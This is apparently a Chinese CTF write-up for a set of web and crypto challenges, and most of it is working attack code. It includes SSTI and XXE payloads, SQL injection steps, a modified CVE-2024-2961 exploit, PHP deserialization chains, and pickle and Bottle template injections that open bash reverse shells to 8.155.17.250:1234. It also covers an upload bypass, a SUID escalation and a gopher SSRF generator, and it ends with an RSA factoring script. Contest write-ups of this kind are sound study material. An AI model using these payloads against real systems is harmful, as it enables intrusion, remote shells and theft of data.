冲鸭汲汲爆!!

Web

upload?SSTI!

源码:

py
import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
return os.path.commonpath([basedir,path])


def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

with open(file_path, 'rb') as f:
file_content = str(f.read())


for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True

return False # 文件内容中没有危险关键字
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
# 检查是否有文件被上传
if 'file' not in request.files:
return jsonify({"error": "未上传文件"}), 400

file = request.files['file']

# 检查是否选择了文件
if file.filename == '':
return jsonify({"error": "请选择文件"}), 400

# 验证文件名和扩展名
if file and allowed_file(file.filename):
# 安全处理文件名
filename = secure_filename(file.filename)
# 保存文件
save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(save_path)



# 返回文件路径(绝对路径)
return jsonify({
"message": "File uploaded successfully",
"path": os.path.abspath(save_path)
}), 200
else:
return jsonify({"error": "文件类型错误"}), 400

# GET 请求显示上传表单(可选)
return '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
'''

@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")

# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")

# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")

suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400

with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->

<footer>
<p>&copy; 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)

return render_template_string(tmp_str)

except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))


# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
return {"error": error.description}, 404


@app.errorhandler(403)
def forbidden(error):
return {"error": error.description}, 403


if __name__ == '__main__':
app.run("0.0.0.0",debug=False)

很显然是打ssti的签到题,在文件内容注入后在/file/exp.txt查看内容
黑名单选择用fenjing跑过滤
payload:

{%set xw='so'[::-1]%}{%set ub=lipsum|escape|batch(22)|first|last%}{%set gl=ub*2+'globals'+ub*2%}{%set bu=ub*2+'builtins'+ub*2%}{%set im=ub*2+'import'+ub*2%}{{g.pop[gl][bu][im](xw).popen('cat /f''lag').read()}}

(>﹏<)

源码:

py
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)

@app.route('/')
def index():
return open(__file__).read()


@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None



if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)

这不是0xGame2024的原题吗(baby_xxe)
payload:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY foo SYSTEM "file:///flag">]>
<root><name>&foo;</name></root>

记得url编码
%3C%3Fxml%20version%20%3D%20%221%2E0%22%3F%3E%0A%20%20%20%20%3C%21DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C%21ENTITY%20foo%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%5D%3E%0A%20%20%20%20%3Croot%3E%3Cname%3E%26foo%3B%3C%2Fname%3E%3C%2Froot%3E

SQL???

开题

fuzz发现过滤了单引号和双引号,看首页又是SQL题,推测是数字型注入
后面直接给注入过程吧

id=1 order by 5# (200正常)
id=1 order by 6# (爆500错误,一共5列)
id=1 union select 1,2,3,4,5#(回显出了数字)
id=1 union select 1,2,3,4,database()#(500,没有database()说明是sqlite)
id=1 union select 1,2,3,4,sqlite_version()#(确定是sqlite)
id=1 union select 1,2,3,4,sql from sqlite_master; (CREATE TABLE "flag" ( "flag" TEXT ))
id=1 union select 1,2,3,4,flag from flag; (NSSCTF{Funny_Sq11111111ite!!!})

ez_readfile

php
 <?php
show_source(__FILE__);
if (md5($_POST['a']) === md5($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) {
if (is_string($_POST['a']) && is_string($_POST['b'])) {
echo file_get_contents($_GET['file']);
}
}
}
?>

CVE-2024-2961利用phpfilter提升为远程代码执行。
https://github.com/ambionics/cnext-exploits/tree/main
代码更改:

py
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response."""
data = {
"a": b"\xaf\x13\x76\x70\x82\xa0\xa6\x58\xcb\x3e\x23\x38\xc4\xc6\xdb\x8b\x60\x2c\xbb\x90\x68\xa0\x2d\xe9\x47\xaa\x78\x49\x6e\x0a\xc0\xc0\x31\xd3\xfb\xcb\x82\x25\x92\x0d\xcf\x61\x67\x64\xe8\xcd\x7d\x47\xba\x0e\x5d\x1b\x9c\x1c\x5c\xcd\x07\x2d\xf7\xa8\x2d\x1d\xbc\x5e\x2c\x06\x46\x3a\x0f\x2d\x4b\xe9\x20\x1d\x29\x66\xa4\xe1\x8b\x7d\x0c\xf5\xef\x97\xb6\xee\x48\xdd\x0e\x09\xaa\xe5\x4d\x6a\x5d\x6d\x75\x77\x72\xcf\x47\x16\xa2\x06\x72\x71\xc9\xa1\x8f\x00\xf6\x9d\xee\x54\x27\x71\xbe\xc8\xc3\x8f\x93\xe3\x52\x73\x73\x53\xa0\x5f\x69\xef\xc3\x3b\xea\xee\x70\x71\xae\x2a\x21\xc8\x44\xd7\x22\x87\x9f\xbe\x79\x6d\xc4\x61\xa4\x08\x57\x02\x82\x2a\xef\x36\x95\xda\xee\x13\xbc\xfb\x7e\xa3\x59\x45\xef\x25\x67\x3c\xe0\x27\x69\x2b\x95\x77\xb8\xcd\xdc\x4f\xde\x73\x24\xe8\xab\x66\x74\xd2\x8c\x68\x06\x80\x0c\xdd\x74\xae\x31\x05\xd1\x15\x7d\xc4\x5e\xbc\x0b\x0f\x21\x23\xa4\x96\x7c\x17\x12\xd1\x2b\xb3\x10\xb7\x37\x60\x68\xd7\xcb\x35\x5a\x54\x97\x08\x0d\x54\x78\x49\xd0\x93\xc3\xb3\xfd\x1f\x0b\x35\x11\x9d\x96\x1d\xba\x64\xe0\x86\xad\xef\x52\x98\x2d\x84\x12\x77\xbb\xab\xe8\x64\xda\xa3\x65\x55\x5d\xd5\x76\x55\x57\x46\x6c\x89\xc9\xdf\xb2\x3c\x85\x97\x1e\xf6\x38\x66\xc9\x17\x22\xe7\xea\xc9\xf5\xd2\xe0\x14\xd8\x35\x4f\x0a\x5c\x34\xd3\x73\xa5\x98\xf7\x66\x72\xaa\x43\xe3\xbd\xa2\xcd\x62\xfd\x69\x1d\x34\x30\x57\x52\xab\x41\xb1\x91\x65\xf2\x30\x7f\xcf\xc6\xa1\x8c\xfb\xdc\xc4\x8f\x61\xa5\x93\x40\x1a\x13\xd1\x09\xc5\xe0\xf7\x87\x5f\x48\xe7\xd7\xb3\x62\x04\xa7\xc4\xcb\xfd\xf4\xff\xcf\x3b\x74\x28\x1c\x96\x8e\x09\x73\x3a\x9b\xa6\x2f\xed\xb7\x99\xd5\xb9\x05\x39\x95\xab",
"b": b"\xaf\x13\x76\x70\x82\xa0\xa6\x58\xcb\x3e\x23\x38\xc4\xc6\xdb\x8b\x60\x2c\xbb\x90\x68\xa0\x2d\xe9\x47\xaa\x78\x49\x6e\x0a\xc0\xc0\x31\xd3\xfb\xcb\x82\x25\x92\x0d\xcf\x61\x67\x64\xe8\xcd\x7d\x47\xba\x0e\x5d\x1b\x9c\x1c\x5c\xcd\x07\x2d\xf7\xa8\x2d\x1d\xbc\x5e\x2c\x06\x46\x3a\x0f\x2d\x4b\xe9\x20\x1d\x29\x66\xa4\xe1\x8b\x7d\x0c\xf5\xef\x97\xb6\xee\x48\xdd\x0e\x09\xaa\xe5\x4d\x6a\x5d\x6d\x75\x77\x72\xcf\x47\x16\xa2\x06\x72\x71\xc9\xa1\x8f\x00\xf6\x9d\xee\x54\x27\x71\xbe\xc8\xc3\x8f\x93\xe3\x52\x73\x73\x53\xa0\x5f\x69\xef\xc3\x3b\xea\xee\x70\x71\xae\x2a\x21\xc8\x44\xd7\x22\x87\x9f\xbe\x79\x6d\xc4\x61\xa4\x08\x57\x02\x82\x2a\xef\x36\x95\xda\xee\x13\xbc\xfb\x7e\xa3\x59\x45\xef\x25\x67\x3c\xe0\x27\x69\x2b\x95\x77\xb8\xcd\xdc\x4f\xde\x73\x24\xe8\xab\x66\x74\xd2\x8c\x68\x06\x80\x0c\xdd\x74\xae\x31\x05\xd1\x15\x7d\xc4\x5e\xbc\x0b\x0f\x21\x23\xa4\x96\x7c\x17\x12\xd1\x2b\xb3\x10\xb7\x37\x60\x68\xd7\xcb\x35\x5a\x54\x97\x08\x0d\x54\x78\x49\xd0\x93\xc3\xb3\xfd\x1f\x0b\x35\x11\x9d\x96\x1d\xba\x64\xe0\x86\xad\xef\x52\x98\x2d\x84\x12\x77\xbb\xab\xe8\x64\xda\xa3\x65\x55\x5d\xd5\x76\x55\x57\x46\x6c\x89\xc9\x5f\xb2\x3c\x85\x97\x1e\xf6\x38\x66\xc9\x17\x22\xe7\xea\xc9\xf5\xd2\xe0\x14\xd8\x35\x4f\x0a\x5c\x34\xd3\xf3\xa5\x98\xf7\x66\x72\xaa\x43\xe3\xbd\xa2\xcd\x62\xfd\xe9\x1d\x34\x30\x57\x52\xab\x41\xb1\x91\x65\xf2\x30\x7f\xcf\xc6\xa1\x8c\xfb\xdc\xc4\x8f\x61\xa5\x13\x40\x1a\x13\xd1\x09\xc5\xe0\xf7\x87\x5f\x48\xe7\xd7\xb3\x62\x04\xa7\xc4\xcb\xfd\xf4\xff\xcf\x3b\x74\xa8\x1b\x96\x8e\x09\x73\x3a\x9b\xa6\x2f\xed\xb7\x99\xd5\x39\x05\x39\x95\xab",
}
params = {"file": path}
return self.session.post(self.url, params=params, data=data)

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file."""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"</code>(.*)", flags=re.S).group(1)
return base64.decode(data)

并把所有tf.random.string(50)改为tf.random.string(48),因为GET参数限制长度为148。

bash
python3 cnext-exploit.py http://node2.anna.nssctf.cn:28983/ "echo '<?=phpinfo();?>' > 2.php"

flag在环境变量里

Popppppp

源码

php
 <?php
error_reporting(0);

class CherryBlossom {
public $fruit1;
public $fruit2;

public function __construct($a) {
$this->fruit1 = $a;
}

function __destruct() {
echo $this->fruit1;
}

public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}

class Forbidden {
private $fruit3;

public function __construct($string) {
$this->fruit3 = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

class Warlord {
public $fruit4;
public $fruit5;
public $arg1;

public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}

public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}

class Samurai {
public $fruit6;
public $fruit7;

public function __toString() {
$long = @$this->fruit6->add();
return $long;
}

public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}

class Mystery {

public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}

class Princess {
protected $fruit9;

protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}

public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}

class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";

public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}

class UselessTwo {
public $hiddenVar = "123123";

public function __construct($value) {
$this->hiddenVar = $value;
}

public function __toString() {
return $this->hiddenVar;
}
}

class Warrior {
public $fruit12;
private $fruit13;

public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}

class UselessThree {
public $dummyVar;

public function __call($name, $args) {
return $name;
}
}

class UselessFour {
public $lalala;

public function __destruct() {
echo "Hehe";
}
}

if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}

php原生类代码执行,危险方法在Mystery里,有很多没用的类
exp:

php
<?php
error_reporting(0);

class CherryBlossom
{
public $fruit1;
public $fruit2;

function __destruct()
{
echo $this->fruit1;
}

public function __toString()
{
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Warlord
{
public $fruit4;
public $fruit5;
public $arg1;

public function __call($arg1, $arg2)
{
$function = $this->fruit4;
return $function();
}

public function __get($arg1)
{
$this->fruit5->ll2('b2');
}
}

class Samurai
{
public $fruit6;
public $fruit7;

public function __toString()
{
$long = @$this->fruit6->add();
return $long;
}

public function __set($arg1, $arg2)
{
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}

class Mystery
{
# public $DirectoryIterator="/"
public $SplFileObject = "php://filter/convert.base64-encode/resource=/flag44545615441084";
public function __get($arg1)
{
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Philosopher
{
public $fruit10;
public $fruit11 = "0e5985";

public function __invoke()
{
if (md5(md5($this->fruit11)) == 666) {
echo "success";
return $this->fruit10->hey;
}
}
}
class Warrior
{
public $fruit12;
private $fruit13;

public function __set($name, $value)
{
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}
$C = new CherryBlossom;
$P = new Philosopher;
$M = new Mystery;
$War = new Warlord;
$Warr = new Warrior;
$S = new Samurai;
$C->fruit1 = $C;
$C->fruit2 = $P;
$P->fruit10 = $M;
$p = serialize($C);
echo $p;
unserialize($p);
?>
// O:13:"CherryBlossom":2:{s:6:"fruit1";r:1;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:13:"SplFileObject";s:63:"php://filter/convert.base64-encode/resource=/flag44545615441084";}s:7:"fruit11";s:6:"0e5985";}}

ezzzz_pickle

第一层弱密码用rockyou字典跑出来为 admin/admin123
filename=/app/app.py

py
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)


def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv



def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):

cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

if mode == 'encrypt':
encryptor = cipher.encryptor()

padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()

elif mode == 'decrypt':
decryptor = cipher.decryptor()

encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()

users = {
"admin": "admin123",
}

def create_session(username):

session_data = {
"username": username,
"expires": time.time() + 3600
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')

key,iv=generate_key_iv()
session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')


return session

def dowload_file(filename):
path=os.path.join("static",filename)
with open(path, 'rb') as f:
data=f.read().decode('utf-8')
return data
def validate_session(cookie):

try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
pickled_data=base64.b64decode(pickled)


session_data = pickle.loads(pickled_data)
if session_data["username"] !="admin":
return False

return session_data if session_data["expires"] > time.time() else False
except:
return False

@app.route("/",methods=['GET','POST'])
def index():

if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data=""
filename=request.form.get("filename")
if(filename):
data=dowload_file(filename)
return render_template("index.html",name=session['username'],file_data=data)

return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")

if users.get(username) == password:
resp = make_response(redirect("/"))

resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html",error="Invalid username or password")

return render_template("login.html")


@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp

if __name__ == "__main__":
app.run(host="0.0.0.0",debug=False)

filename=/proc/self/environ读取SECRET_key和SECRET_iv
exp.py

py
import pickle
import base64
from cryptography.hazmat.primitives import padding
import algorithms

class A(object):
def __reduce__(self):
return (
eval,
(
"__import__('os').system('bash -c \"bash -i >& /dev/tcp/8.155.17.250/1234 0>&1\"')",
),
)
poc = A()
result = pickle.dumps(poc)
result = base64.b64encode(result)
print(result)
# gASVawAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxPX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvOC4xNTUuMTcuMjUwLzEyMzQgMD4mMSInKZSFlFKULg==

from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os


def aes_encrypt_decrypt(data, key, iv, mode):

cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

if mode == "encrypt":
encryptor = cipher.encryptor()

padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
print(base64.b64encode(result).decode())
return base64.b64encode(result).decode()

elif mode == "decrypt":
decryptor = cipher.decryptor()

encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
print(unpadded_data.decode())
return unpadded_data.decode()


key = "ajwdopldwjdowpajdmslkmwjrfhgnbbv".encode()
iv = "asdwdggiouewhgpw".encode()
# session_data = "eJBngHD43jk0xHXrBaNFNQueoE+41rE1GNZawdm3Db3NGUnXuJHIDoTld33vveJtHmC5HWFG5Q3oTI73Un+mFztBp01eKk7x1e4FHOWQKWs="
# aes_encrypt_decrypt(session_data, key, iv, mode="decrypt")

# original_data = {"username": "admin", "expires": 1741065550.4897454}
# pickled = pickle.dumps(original_data)
# pickled_data = base64.b64encode(pickled).decode("utf-8")
# aes_encrypt_decrypt(pickled_data, key, iv, mode="encrypt")

base64_data = "gASVawAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxPX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvOC4xNTUuMTcuMjUwLzEyMzQgMD4mMSInKZSFlFKULg=="
aes_encrypt_decrypt(base64_data, key, iv, mode="encrypt")
# 9ZTXgZqf+FzZam6mUuGVsXKTKcwZkC67KUXj+8tBxsx2y9AEvrDSWVU/3PHcd/G+LWbN6I/zh73FhQiR4JcpYeVsuiNU540ZSm+MUEbcaIipWAEsS460UhO5VKXtn7hdSjfNa3OzWO9tViwA9W5Z+q3rbmuR7Z/BV3Kh93RXJpbuN34E7sHh5hVmu7xFM0nRoI1ATJKa1HBr9HRidRy0MLsOmTbU/0w+Ch4NFtShm/0=

自行改成自己的VPS地址,不知道为什么用system没法执行,只能用eval了。

UPUPUP

考察文件头检测。像是奇安信的littledropbox那题
https://blog.hatchet.top/posts/89707270
我们可以使用 WEBP 格式绕过
WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。题目限制我们上传的图片尺寸必须为 100x50,那么我们在上传.htaccess 时便可以用 WBMP 来绕过:

plaintext
#define width 100
#define height 50
AddType application/x-httpd-php .jpg

然后在a.jpg里写上一句话木马就好了,秒杀

Message in a Bottle

考察是Bottle的模版渲染问题,为了区分和jinja2的区别过滤了{和}。
使用类似情况可以执行python语句

\n
%...#

payload:

message=%0D%0A%25__import__('os').system('bash -c "bash -i >& /dev/tcp/8.155.17.250/1234 0>&1"')#

Escape!

waf.php

php
<?php

function waf($c)
{
$lists=["flag","'","\\","sleep","and","||","&&","select","union"];
foreach($lists as $list){
$c=str_replace($list,"error",$c);
}
#echo $c;
return $c;
}

反序列化逃逸题

php
<?php
$a = '";s:7:"isadmin";b:1;}';
for ($i = 0; $i < strlen($a); $i++) {
echo "flag";
}
echo $a;
echo "\n";
echo strlen($a);

注册个用户名为flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;},密码随意的账号
反序列化时就会解析成O:4:"User":2:{s:8:"username";s:145:"errorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerrorerror";s:1:"1";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}|056d31a5ea46fe88ac28d42041727f050ea6eb7cd55ef6356e51e781defacc35,从而获得admin权限。
之后是绕过php的死亡exit,但是一点waf不写,这很新生赛了

?filename=php://filter/convert.base64-decode/resource=1.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

注意到base64编码前面还加了一个a,那是因为在中符合base64编码的只有phpexit7个字符,因此添加一个字符来满足为4的倍数
上马后getshell

GetShell

考SUID提权,前面写的还挺吓人的,其实就是system($_GET[‘input’]);过滤空格用tab(%09)代替
先反弹shell

action=run&input=bash%09-c%09"bash%09-i%09>%26%09/dev/tcp/8.155.17.250/1234%090>%261"

find / -user root -perm -4000 -print 2>/dev/null
发现/var/www/html/wc有s读取位
/var/www/html/wc --files0-from "/flag"

Goph3rrr

藏源码?藏源码?藏源码?藏源码?
第一步,把app.py加到扫网站的字典里。
然后写个gopher请求,在源码里发现在端口8000开启的服务,打SSRF
过滤了127.0.0.1,但其实内网环绕的ip可以随便写。这里用127.0.0.0

py
import urllib.parse

host = "127.0.0.0:8000"
content = "cmd=env"
content_length = len(content)

test = """POST /Manage HTTP/1.1
Host: {}
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}""".format(
host, content_length, content
)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)
# gopher://127.0.0.0:8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.0%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv

Web狗一定要经历的题目:开局一张图和一段话

Message in a Bottle plus

也是谜语人题目,好在hint给出了是python语法错误,那就用三引号注释你要注入的语句就好了。我用的写静态文件,<>过滤了可以用tee写语句
payload:

"""
%__import__('os').system('cat /f*|tee /tmp/flag')#"""

"""
%exec('@__import__("sys").modules["__main__"].__dict__["app"].route("/flag", methods=["GET"])\ndef index():\n    return open("/tmp/flag").read()')#"""

Crypto

baby_factor_revenge

首先求出三素数情况的d后根据d分解n,得到两个数。就可以得到一个参数了。剩下两个用z3解。

py
from Crypto.Util.number import *
d = 983319791937448948928909831815966155233467749135983797957993410537719382800936387914281107353766335692424029654890074457307384264696437387167917818931646208361090037151617583726270784856753326990295824691796694451427308596706773907163324576689188410501943156770608241886959042932405074514173029345911147314721915393623818058459418750161717021341964881781486599220732192574569147314948870274178618505914400519303058946065649007754746530391162684602214360864817520399909831939250530896872612423835389116308382365739456837700087971535009764751628912913521138584334716329828771071208136538108215589915295297620190642161344576127809192931232824504965519434322583351610813141539165132478322539755184703347361403277074761984135194481834469890501869197790850740673232484884785271004904890460014867888014459560750704493982023858930509540465683453067731362712507808067213106132609335347367580166670909669153896510120696647745399737473
e = 65537
n = 3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984460699747964946764645986828307675081596907634022110868102739948513844625534865764252668312850364286204872187001344218083941399088833989233474318289529103178632284291007694811574023047207470113594082533713524606268388742119103653587354956091145288566437795469230667897089543048576812362251576281067933183713438502813206542834734983616378764909202774603304124497453696792428111112644362307853143219890039129054302905340695668256116233515323529918746264727874817221051242387145263342018617858562987223211598238069486447049955021864781104312134816578626968386395835285074116149472750100154961405785440009296096563521430833
import random
import gmpy2


def divide_pq(e, d, n):
k = e * d - 1
while True:
g = random.randint(2, n - 1)
t = k
while True:
if t % 2 != 0:
break
t //= 2
x = pow(g, t, n)
if x > 1 and gmpy2.gcd(x - 1, n) > 1:
p = gmpy2.gcd(x - 1, n)
return (p, n // p)


p, q = divide_pq(e, d, n)
print(f"p = {p}")
print(f"q = {q}")

from z3 import *

# phi=(p-1)*(q-1)
# pq = p * q
e = 65537
n1 = 3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984460699747964946764645986828307675081596907634022110868102739948513844625534865764252668312850364286204872187001344218083941399088833989233474318289529103178632284291007694811574023047207470113594082533713524606268388742119103653587354956091145288566437795469230667897089543048576812362251576281067933183713438502813206542834734983616378764909202774603304124497453696792428111112644362307853143219890039129054302905340695668256116233515323529918746264727874817221051242387145263342018617858562987223211598238069486447049955021864781104312134816578626968386395835285074116149472750100154961405785440009296096563521430833
phi1 = 3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984394758254181484105857103844940487787404078873566779953101987404891507588290232992132681729619718279684673827347612899406697514777723904351697638562060304399923174376216080338949397741477013367831377040866937433520175862575061413321076151761545984886547872427147498175814451096795344136954743868643889768901204954902708679102384061694877757565486240670882343628571424084461972849147495569088820011108794930593172573959423278140327579049114196086428504291102619820322231225943837444001821535593671764186251713714593498207219093585758479440828038119079608764008747539277397742897542501803218788455452391287578171880267200
pq = 21009426005084759232502759692644666270422766568724834588101478223308318987057447041530247306447091103185539171062472702301557335160742767671134173904609940105768749896994581616450301992878881928721883119386522423321223324015378278104501172477359823290965487912511985763442815234300763864548546872584570684767716406581268136218513007832843753027658989660444693029077101168497144645259104522047135596501556552096480603415253950722528034420729301954683657122537365925866396024352730390201624908120253411753527148449412666376617568880825229861575079723105510923185944036315338425866120714706124444357547089012719641816001
r = 151925555068309740027629873616844956416777676942104988548600500604734980705751500202455811525437316981852933269865712140204105818819734994452674160925578679385681053244060180042799265901275164392807664922780095166647350519792074240010137576702747299629682862274167454415537848662371715182873269954851056702833
assert pq * r == n1
phi = phi1 // (r - 1)
n2 = n1 // r
p = Int("p")
q = Int("q")
s = Solver()
s.add((p - 1) * (q - 1) == phi)
s.add(p * q == pq)
if s.check() == sat:
print(s.model())

p = 118589237846929157177145636173700007714734296636618078863121028787719233856255349991676793277685489964300857832756581934799294586957137083742162225794737817065789645999587706703620635609191140301627049542092790079764008202073952667787393392675044942337058473033104592846222792727822005560480411401441075365471,
q = 151925555068309740027629873616844956416777676942104988548600500604734980705751500202455811525437316981852933269865712140204105818819734994452674160925578679385681053244060180042799265901275164392807664922780095166647350519792074240010137576702747299629682862274167454415537848662371715182873269954851056702833
c = 8847973599594272436100870059187158819529199340583461915617467299706215012295598155778224026186157290320191983062022702191439286020733625396165573681688842631368993650799220713225485752608650482408353598320160571916055498330875851476520668973214124194890108144336715482373743731578734960096351460142579903010557821654345995923836938260379746304222820835040419844947019844885128550552066290798665884099701340641403329066058638137944934073185448687990744852400616823426082588916251127609191094346267837812018236673478691437630461425526779014305216914035039981685211625653600564431704400207095883904994772993227506462664
n2=p*q
phi2=(p-1)*(q-1)
d2=inverse(e,phi2)
